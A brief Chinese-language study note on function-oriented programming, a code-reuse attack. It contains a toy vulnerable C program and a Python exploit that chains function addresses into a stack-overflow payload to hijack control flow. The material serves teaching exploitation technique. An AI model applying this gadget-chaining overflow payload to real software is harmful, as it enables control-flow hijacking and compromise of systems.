fop

function-orienred programming

面向函数编成，以函数为配件

以栈溢出为漏洞出发点，构造配件链进行攻击，改变程序控制流

配件分类

dispatcher gadagets

functional gadagets

调度器配件是一个函数，且在这个函数里面有函数指针的使用。

漏洞程序：

int flag = 1;

int a = 0;

int b = 0;

int c = 0;

void add\_(){

c = a + b;

}

void change\_flag(){

if (c !=0 ) {

flag = 0;

}

}

void change\_a(){

a = 1;

}

void change\_b(){

b = 2;

}

四个全局变量，和四个函数（攻击程序将其视为函数配件，合理组合构成配件链）

攻击程序：

main\_addr = elf.symbols['main']

add\_addr = elf.symbols['add\_']

change\_a\_addr = elf.symbols['change\_a']

change\_b\_addr = elf.symbols['change\_b']

change\_flag\_addr = elf.symbols['change\_flag']

if\_addr = main\_addr + 0x3e

print hex(main\_addr)

print hex(add\_addr)

print hex(change\_a\_addr)

print hex(change\_b\_addr)

print hex(change\_flag\_addr)

fop =(

p64(change\_a\_addr)

+ p64(change\_b\_addr)

+ p64(add\_addr)

+ p64(change\_flag\_addr)

+ p64(if\_addr)

)

payload = 'a'\* 256 + 'b'\*8 + fop

寻找各个函数的入口地址，构造配件链，搜寻栈溢出点将返回地址改写成配件链首地址，覆盖返回值，更改程序控制流攻击成功。